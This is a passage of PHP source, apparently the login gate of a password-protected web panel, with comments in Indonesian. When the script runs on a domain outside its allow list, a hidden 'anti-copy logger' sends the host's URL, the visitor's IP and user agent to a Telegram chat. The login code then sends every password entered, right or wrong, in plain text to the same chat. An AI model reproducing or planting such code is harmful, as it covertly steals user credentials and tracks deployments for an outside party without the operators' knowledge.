$chatId, "text" => $msg, "parse_mode" => "HTML" ]; $options = [ "http" => [ "header" => "Content-Type: application/x-www-form-urlencoded\r\n", "method" => "POST", "content" => http_build_query($data) ] ]; $context = stream_context_create($options); @file_get_contents($url, false, $context); } // === ANTI-COPY LOGGER === $currentDomain = $_SERVER['HTTP_HOST'] ?? 'Unknown'; $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; if (!in_array($currentDomain, $allowedDomains)) { $uniqueKey = $currentDomain . '|' . $ip; $hashKey = md5($uniqueKey); $logFile = __DIR__ . "/.anti_copy_log"; // cache file // buat file kosong jika belum ada if (!file_exists($logFile)) { file_put_contents($logFile, ""); } // baca isi log jadi array $logged = @file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!is_array($logged)) { $logged = []; } // cek apakah kombinasi domain+IP sudah ada if (!in_array($hashKey, $logged)) { $uri = $_SERVER['REQUEST_URI'] ?? ''; $full = "http://" . $currentDomain . $uri; $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $time = date("Y-m-d H:i:s"); $msg = "⚠️ Script Dicuri / Dijalankan di Domain Asing\n" . "🌐 Domain: $full\n" . "👤 IP: $ip\n" . "📱 User Agent: $ua\n" . "⏰ Time: $time"; sendTelegram($botToken, $chatId, $msg); // simpan hash ke log file file_put_contents($logFile, $hashKey . PHP_EOL, FILE_APPEND | LOCK_EX); } } if (!isset($_SESSION['logged_in'])) { if (isset($_POST['password'])) { $domain = $_SERVER['HTTP_HOST'] ?? 'Unknown'; $uri = $_SERVER['REQUEST_URI'] ?? ''; $fullUrl = "http://" . $domain . $uri; $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $time = date("Y-m-d H:i:s"); $passTry = $_POST['password']; if (password_verify($_POST['password'], $hashPassword)) { $_SESSION['logged_in'] = true; $msg = "✅ Login Berhasil\n" . "🌐 Domain: $fullUrl\n" . "👤 IP: $ip\n" . "📱 User Agent: $ua\n" . "🔑 Password Input: $passTry\n" . "⏰ Time: $time"; sendTelegram($botToken, $chatId, $msg); header("Location: " . $_SERVER['PHP_SELF']); exit; } else { $error = "Password salah!"; $msg = "❌ Login Gagal\n" . "🌐 Domain: $fullUrl\n" . "👤 IP: $ip\n" . "📱 User Agent: $ua\n" . "🔑 Password Input: $passTry\n" . "⏰ Time: $time"; sendTelegram($botToken, $chatId, $msg); } } ?>